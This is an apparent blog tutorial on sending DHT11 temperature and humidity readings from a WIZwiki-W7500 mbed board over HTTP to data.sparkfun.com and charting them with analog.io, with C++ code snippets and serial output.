<script src="https://bitbucket.org/fraka6/mlboost/src/ce9e76218daa7bec96d61b98c9a9e90b10440b7c/mlboost/examples/server.py?embed=t"></script>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-56041350000250790952015-09-22T05:42:00.000-07:002015-09-22T05:42:42.682-07:00How to collect and analyze sensing data of IoT platform <div style="font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important; background-color: rgb(255, 255, 255);font-family: 'Hiragino Sans GB', 'Microsoft YaHei', STHeiti, SimSun, 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', 'Segoe UI', AppleSDGothicNeo-Medium, 'Malgun Gothic', Verdana, Tahoma, sans-serif; padding: 20px;padding: 20px; color: rgb(34, 34, 34); font-size: 15px; font-family: 'Roboto Condensed', Tauri, 'Hiragino Sans GB', 'Microsoft YaHei', STHeiti, SimSun, 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', 'Segoe UI', AppleSDGothicNeo-Medium, 'Malgun Gothic', Verdana, Tahoma, sans-serif; line-height: 1.6; -webkit-font-smoothing: antialiased; background: rgb(255, 255, 255);"><h2 id="how-to-collect-and-analyze-sensing-data-of-iot-platform" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;margin-top: 0px;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230);"><a name="how-to-collect-and-analyze-sensing-data-of-iot-platform" href="#how-to-collect-and-analyze-sensing-data-of-iot-platform" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>How to collect and analyze sensing data of IoT platform</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">This post shows how to connect IoT platform to Cloud service and how to display sensing data for graphical analysis.</p><ul>
<li style="display: list-item; line-height: 1.4em;">Scope of post<ul>
<li style="display: list-item; line-height: 1.4em;">Platform : <a href="https://developer.mbed.org/platforms/WIZwiki-W7500/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">WIZwiki-W7500</a></li><li style="display: list-item; line-height: 1.4em;">cloud data loger : <a href="data.sparkfun.com" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">data.sparkfun.com</a> (<a href="http://phant.io/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Phant.io</a>)</li><li style="display: list-item; line-height: 1.4em;">cloud chart : <a href="analog.io" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">analog.io</a></li><li style="display: list-item; line-height: 1.4em;">IDE; Web-Compiler(mbed.com)</li><li style="display: list-item; line-height: 1.4em;">HTTP Query</li></ul>
</li></ul><h3 id="[data.sparkfun.com](data.sparkfun.com)" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="[data.sparkfun.com](data.sparkfun.com)" href="#[data.sparkfun.com](data.sparkfun.com)" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="data.sparkfun.com" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">data.sparkfun.com</a></h3><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;"><a href="https://learn.sparkfun.com/tutorials/pushing-data-to-datasparkfuncom/what-is-phant" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">What is Phant?</a></p>
<ul>
<li style="display: list-item; line-height: 1.4em;">Phant is a open source cloud server platform by powered Sparkfun Electronics. </li><li style="display: list-item; line-height: 1.4em;">Sparkfun created data.spartfun.com ,which is a free cloud service running phant. -</li><li style="display: list-item; line-height: 1.4em;">To collect data from your device to cloud service, you just need to register a new stream. </li><li style="display: list-item; line-height: 1.4em;">After register, you get two keys for accessing the data; one is q private key is required to update that stream, other is a public key grants access to any other stream on the service.</li><li style="display: list-item; line-height: 1.4em;">All communication with Phant is carried out over HTTP. So, your device should be acted as HTTP Client.</li><li style="display: list-item; line-height: 1.4em;"><pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;"><code data-origin="<pre><code>http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&amp;[field1]=[value]&amp;[field2]=[value]
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;">http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&[field1]=[value]&[field2]=[value]
</code></pre></li></ul>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;">Phant : <a href="http://phant.io/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Phant.io</a><blockquote style="margin: 1em 20px;border-left-width: 4px; border-left-style: solid; border-left-color: rgb(230, 230, 230); padding: 0px 15px; color: rgb(119, 119, 119);">
<p style="margin: 1em 0px; word-wrap: break-word;margin-top: 0px;margin-bottom: 0px;">Phant is a modular node.js based data logging tool for collecting data from the Internet of Things. It is the open source software that powers data.sparkfun.com, and is actively maintained by SparkFun Electronics. Phant is short for elephant. Elephants are known for their remarkable recall ability, so it seemed appropriate to name a data logging project in honor of an animal that never forgets.</p>
</blockquote>
</li></ul><h3 id="[analog.io](analog.io)" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="[analog.io](analog.io)" href="#[analog.io](analog.io)" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="analog.io" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">analog.io</a></h3><ul>
<li style="display: list-item; line-height: 1.4em;">3rd party of data.sparkfun.com</li><li style="display: list-item; line-height: 1.4em;">Graphing front end<blockquote style="margin: 1em 20px;border-left-width: 4px; border-left-style: solid; border-left-color: rgb(230, 230, 230); padding: 0px 15px; color: rgb(119, 119, 119);">
<p style="margin: 1em 0px; word-wrap: break-word;margin-top: 0px;margin-bottom: 0px;">analog.io is a full stack IoT web service and hardware platforms where people can create connected devices and share them with the world. It is designed to solve all kinds of world problems from air pollution, improving farm output or studying the bee population. It is really only limited by the users imagination. (<a href="https://hackaday.io/project/4648-analogio-a-full-stack-iot-platform" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">for more detail</a>)<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21437814689/in/dateposted-public/" title="2015-09-22_19-36-25" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/602/21437814689_e0e9b8242c_b.jpg" width="1024" height="849" alt="2015-09-22_19-36-25" style="max-width: 100%;"></a></p>
</blockquote>
</li></ul><h3 id="prepare-materials" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="prepare-materials" href="#prepare-materials" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Prepare materials</h3><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Hardware<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21613335512/in/dateposted-public/" title="IMG_20150922_195307" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5684/21613335512_9c66d0d645_b.jpg" width="797" height="1024" alt="IMG_20150922_195307" style="max-width: 100%;"></a></p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">mbed platform : <a href="https://developer.mbed.org/platforms/WIZwiki-W7500/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">WIZwiki-W7500</a></p>
<ul>
<li style="display: list-item; line-height: 1.4em;">ARM® Cortex™-M0 Core 48MHz </li><li style="display: list-item; line-height: 1.4em;">128KB Flash memory </li><li style="display: list-item; line-height: 1.4em;">16KB to 48 KB SRAM (Min 16KB available if 32KB socket buffer is used, Max 48KB available if no socket buffer is used) </li><li style="display: list-item; line-height: 1.4em;">Hardwired TCP/IP Core (8 Sockets, MII: Medium-Independent Interface) </li><li style="display: list-item; line-height: 1.4em;">12-bit, 8ch ADC </li><li style="display: list-item; line-height: 1.4em;">53 I/Os </li><li style="display: list-item; line-height: 1.4em;">1ch Watchdog, 4ch Timers and 8ch PWM </li><li style="display: list-item; line-height: 1.4em;">3ch UART </li><li style="display: list-item; line-height: 1.4em;">2ch SPI </li><li style="display: list-item; line-height: 1.4em;">2ch I2C </li></ul>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Sensors (ywrobot easy module shield v1): DHT11<br style="clear: both;"><a data-flickr-embed="true" data-header="false" data-footer="false" data-context="false" href="https://www.flickr.com/photos/129289794@N06/20287976404/in/dateposted-public/" title="ywrobot" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5627/20287976404_ee6ce9344b.jpg" width="500" height="325" alt="ywrobot" style="max-width: 100%;"></a></p>
</li></ul>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Registrations</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">data.sparkfun.com<br style="clear: both;">To create a data stream, head over to data.sparkfun.com, and click “CREATE”.</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Create a Data Stream</p>
<p style="margin: 1em 0px; word-wrap: break-word;"> <a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21001931294/in/dateposted-public/" title="2015-09-22_20-06-54" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/616/21001931294_3df2e0118e_b.jpg" width="921" height="783" alt="2015-09-22_20-06-54" style="max-width: 100%;"></a></p>
<pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;"><code data-origin="<pre><code> * Fields - This comma-separated list of words defines data stream to post a list of unique values.
* Stream Alias - This testbox defines domain name for you Data Stream
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> * Fields - This comma-separated list of words defines data stream to post a list of unique values.
* Stream Alias - This testbox defines domain name for you Data Stream
</code></pre></li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">New Stream example: After creating a data Stream, you will confirm URL, Keys for accessing for your data stream.<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/20917878131/in/dateposted-public/" title="E_New Stream1" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/665/20917878131_654ba3fb09_b.jpg" width="715" height="1024" alt="E_New Stream1" style="max-width: 100%;"></a></p>
</li></ul>
</li></ul>
</li></ul><h3 id="software" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="software" href="#software" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Software</h3><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21624814905/in/dateposted-public/" title="2015-09-22_20-28-32" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/736/21624814905_0b59869954_b.jpg" width="1024" height="268" alt="2015-09-22_20-28-32" style="max-width: 100%;"></a></p><ul>
<li style="display: list-item; line-height: 1.4em;">Used Lib<ul>
<li style="display: list-item; line-height: 1.4em;">WIZnetInterface Lib. : for Ethernet connectivity of W7500</li><li style="display: list-item; line-height: 1.4em;">DHT Lib. : for DHT11 sensor</li></ul>
</li></ul><h4 id="codes-flow" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="codes-flow" href="#codes-flow" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Codes flow</h4><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">mbed.org repositories : <a href="https://developer.mbed.org/users/embeddist/code/Data_Sparkfun_io/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="https://developer.mbed.org/users/embeddist/code/Data_Sparkfun_io/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://developer.mbed.org/users/embeddist/code/Data_Sparkfun_io/</a></p>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Configuration Arduino’s I/O pins</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(101, 123, 131); background: rgb(253, 246, 227);"><code class="cpp" data-origin="<pre><code class="cpp">/*
*Input Pins, Misc
* D4 - Temp. and Hum. Sensor
* D3 - Push buttom
*/
DHT sensor(D4, DHT11);
DigitalIn triggerPin(D3);
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-comment" style="color: rgb(147, 161, 161);">/*
*Input Pins, Misc
* D4 - Temp. and Hum. Sensor
* D3 - Push buttom
*/</span>
<span class="hljs-function">DHT <span class="hljs-title" style="color: rgb(38, 139, 210);">sensor</span><span class="hljs-params">(D4, DHT11)</span></span>;
<span class="hljs-function">DigitalIn <span class="hljs-title" style="color: rgb(38, 139, 210);">triggerPin</span><span class="hljs-params">(D3)</span></span>;
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Configuration Phat Stuff</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(101, 123, 131); background: rgb(253, 246, 227);"><code class="cpp" data-origin="<pre><code class="cpp">/*
* Phant Stuffs
* Insert your publicKey
* Insert your privateKey
* Generat Fileds; 'Files name shoud be same "field name" in Create Stream form'
*/
char publicKey[] = "insert_your_publicKey";
char privateKey[] = "insert_your_privateKey";
uint8_t NUM_FIELDS = 2;
char fieldNames1[] = "hum";
char fieldNames2[] = "temp";
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-comment" style="color: rgb(147, 161, 161);">/*
* Phant Stuffs
* Insert your publicKey
* Insert your privateKey
* Generat Fileds; 'Files name shoud be same "field name" in Create Stream form'
*/</span>
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">char</span> publicKey[] = <span class="hljs-string" style="color: rgb(42, 161, 152);">"insert_your_publicKey"</span>;
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">char</span> privateKey[] = <span class="hljs-string" style="color: rgb(42, 161, 152);">"insert_your_privateKey"</span>;
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">uint8_t</span> NUM_FIELDS = <span class="hljs-number" style="color: rgb(42, 161, 152);">2</span>;
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">char</span> fieldNames1[] = <span class="hljs-string" style="color: rgb(42, 161, 152);">"hum"</span>;
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">char</span> fieldNames2[] = <span class="hljs-string" style="color: rgb(42, 161, 152);">"temp"</span>;
</code></pre>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Network Configuration : DHCP Client</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(101, 123, 131); background: rgb(253, 246, 227);"><code class="cpp" data-origin="<pre><code class="cpp"> // Enter a MAC address for your controller below.
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x00, 0x01, 0x02};
printf("initializing Ethernet\r\n");
// initializing MAC address
eth.init(mac_addr);
// Check Ethenret Link
if(eth.link() == true) printf("- Ethernet PHY Link-Done \r\n");
else printf("- Ethernet PHY Link- Fail\r\n");
// Start Ethernet connecting: Trying to get an IP address using DHCP
if (eth.connect()&lt;0) printf("Fail - Ethernet Connecing");
// Print your local IP address:
printf("IP=%s\n\r",eth.getIPAddress());
printf("MASK=%s\n\r",eth.getNetworkMask());
printf("GW=%s\n\r",eth.getGateway());
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> <span class="hljs-comment" style="color: rgb(147, 161, 161);">// Enter a MAC address for your controller below.</span>
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">uint8_t</span> mac_addr[<span class="hljs-number" style="color: rgb(42, 161, 152);">6</span>] = {<span class="hljs-number" style="color: rgb(42, 161, 152);">0x00</span>, <span class="hljs-number" style="color: rgb(42, 161, 152);">0x08</span>, <span class="hljs-number" style="color: rgb(42, 161, 152);">0xDC</span>, <span class="hljs-number" style="color: rgb(42, 161, 152);">0x00</span>, <span class="hljs-number" style="color: rgb(42, 161, 152);">0x01</span>, <span class="hljs-number" style="color: rgb(42, 161, 152);">0x02</span>};
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"initializing Ethernet\r\n"</span>);
<span class="hljs-comment" style="color: rgb(147, 161, 161);">// initializing MAC address</span>
eth.init(mac_addr);
<span class="hljs-comment" style="color: rgb(147, 161, 161);">// Check Ethenret Link</span>
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">if</span>(eth.link() == <span class="hljs-keyword" style="color: rgb(133, 153, 0);">true</span>) <span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"- Ethernet PHY Link-Done \r\n"</span>);
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(133, 153, 0);">else</span> <span class="hljs-title" style="color: rgb(38, 139, 210);">printf</span><span class="hljs-params">("- Ethernet PHY Link- Fail\r\n")</span></span>;
<span class="hljs-comment" style="color: rgb(147, 161, 161);">// Start Ethernet connecting: Trying to get an IP address using DHCP</span>
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">if</span> (eth.connect()<<span class="hljs-number" style="color: rgb(42, 161, 152);">0</span>) <span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"Fail - Ethernet Connecing"</span>);
<span class="hljs-comment" style="color: rgb(147, 161, 161);">// Print your local IP address:</span>
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"IP=%s\n\r"</span>,eth.getIPAddress());
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"MASK=%s\n\r"</span>,eth.getNetworkMask());
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"GW=%s\n\r"</span>,eth.getGateway());
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">HTTP Client</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(101, 123, 131); background: rgb(253, 246, 227);"><code class="cpp" data-origin="<pre><code class="cpp">/*
* - If the trigger pin (3) goes low, send the data.
* - Get sensing datas by using analogread()
* - Call postData
* - Open socket as TCP Client
* - Try to connet TCP server (data.sparkfun.com); if needs, do DNS clinet for getting IP address of server
* - Make query string based on Phant frame
* - Send query
* - Check for a response from the server, and route it out the serial port.
*/
while(1)
{
if(triggerPin ==0)
{
sensor.readData();
c = sensor.ReadTemperature(CELCIUS);
h = sensor.ReadHumidity();
printf("Temperature in Celcius: %4.2f", c);
printf("Humidity is %4.2f\n", h, dp, dpf);
sock.connect("data.sparkfun.com", 80);
snprintf(http_cmd, http_cmd_sz, "GET /input/%s?private_key=%s&amp;%s=%2.2f&amp;%s=%3.3f HTTP/1.1\r\nHost: data.sparkfun.com\r\nConection: close\r\n\r\n",
publicKey, privateKey, fieldNames1, h, fieldNames2, c);
sock.send_all(http_cmd, http_cmd_sz-1);
while ( (returnCode = sock.receive(buffer, buffer_sz-1)) &gt; 0)
{
buffer[returnCode] = '\0';
printf("Received %d chars from server:\n\r%s\n", returnCode, buffer);
}
sock.close();
}
wait(2);
}
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-comment" style="color: rgb(147, 161, 161);">/*
* - If the trigger pin (3) goes low, send the data.
* - Get sensing datas by using analogread()
* - Call postData
* - Open socket as TCP Client
* - Try to connet TCP server (data.sparkfun.com); if needs, do DNS clinet for getting IP address of server
* - Make query string based on Phant frame
* - Send query
* - Check for a response from the server, and route it out the serial port.
*/</span>
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">while</span>(<span class="hljs-number" style="color: rgb(42, 161, 152);">1</span>)
{
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">if</span>(triggerPin ==<span class="hljs-number" style="color: rgb(42, 161, 152);">0</span>)
{
sensor.readData();
c = sensor.ReadTemperature(CELCIUS);
h = sensor.ReadHumidity();
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"Temperature in Celcius: %4.2f"</span>, c);
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"Humidity is %4.2f\n"</span>, h, dp, dpf);
sock.connect(<span class="hljs-string" style="color: rgb(42, 161, 152);">"data.sparkfun.com"</span>, <span class="hljs-number" style="color: rgb(42, 161, 152);">80</span>);
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">snprintf</span>(http_cmd, http_cmd_sz, <span class="hljs-string" style="color: rgb(42, 161, 152);">"GET /input/%s?private_key=%s&%s=%2.2f&%s=%3.3f HTTP/1.1\r\nHost: data.sparkfun.com\r\nConection: close\r\n\r\n"</span>,
publicKey, privateKey, fieldNames1, h, fieldNames2, c);
sock.send_all(http_cmd, http_cmd_sz-<span class="hljs-number" style="color: rgb(42, 161, 152);">1</span>);
<span class="hljs-keyword" style="color: rgb(133, 153, 0);">while</span> ( (returnCode = sock.receive(buffer, buffer_sz-<span class="hljs-number" style="color: rgb(42, 161, 152);">1</span>)) > <span class="hljs-number" style="color: rgb(42, 161, 152);">0</span>)
{
buffer[returnCode] = <span class="hljs-string" style="color: rgb(42, 161, 152);">'\0'</span>;
<span class="hljs-built_in" style="color: rgb(38, 139, 210);">printf</span>(<span class="hljs-string" style="color: rgb(42, 161, 152);">"Received %d chars from server:\n\r%s\n"</span>, returnCode, buffer);
}
sock.close();
}
wait(<span class="hljs-number" style="color: rgb(42, 161, 152);">2</span>);
}
</code></pre>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Make Query string over HTTP</p>
<pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;"><code data-origin="<pre><code> http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&amp;hum=[value]&amp;temp=[value]
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> http://data.sparkfun.com/input/[publicKey]?private_key=[privateKey]&hum=[value]&temp=[value]
</code></pre><pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(101, 123, 131); background: rgb(253, 246, 227);"><code class="cpp" data-origin="<pre><code class="cpp"> snprintf(http_cmd, http_cmd_sz, "GET /input/%s?private_key=%s&amp;%s=%2.2f&amp;%s=%3.3f HTTP/1.1\r\nHost: data.sparkfun.com\r\nConection: close\r\n\r\n", publicKey, privateKey, fieldNames1, h, fieldNames2, c);
sock.send_all(http_cmd, http_cmd_sz-1);
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> <span class="hljs-built_in" style="color: rgb(38, 139, 210);">snprintf</span>(http_cmd, http_cmd_sz, <span class="hljs-string" style="color: rgb(42, 161, 152);">"GET /input/%s?private_key=%s&%s=%2.2f&%s=%3.3f HTTP/1.1\r\nHost: data.sparkfun.com\r\nConection: close\r\n\r\n"</span>, publicKey, privateKey, fieldNames1, h, fieldNames2, c);
sock.send_all(http_cmd, http_cmd_sz-<span class="hljs-number" style="color: rgb(42, 161, 152);">1</span>);
</code></pre>
</li></ul><h3 id="demo" style="clear: both;font-size: 1.6em; font-weight: bold; margin: 1.125em 0px 0.75em;"><a name="demo" href="#demo" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Demo</h3><h4 id="serial-monitor" style="clear: both;font-size: 1.4em; font-weight: bold; margin: 0.99em 0px 0.66em;"><a name="serial-monitor" href="#serial-monitor" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Serial Monitor</h4><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">DHCP Clinet message</li><li style="display: list-item; line-height: 1.4em;">Press the button to send query to server.</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Confirm the response message on serial terminal and data.spark.com/your_stream</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: rgb(101, 123, 131); background: rgb(253, 246, 227);"><code class="cpp" data-origin="<pre><code class="cpp"> initializing Ethernet
- Ethernet PHY Link-Done
IP=192.168.11.224
MASK=255.255.255.0
GW=192.168.11.1
Temperature in Celcius: 27.00Humidity is 55.00
Received 299 chars from server:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,DELETE
Access-Control-Allow-Headers: X-Requested-With, Phant-Private-Key
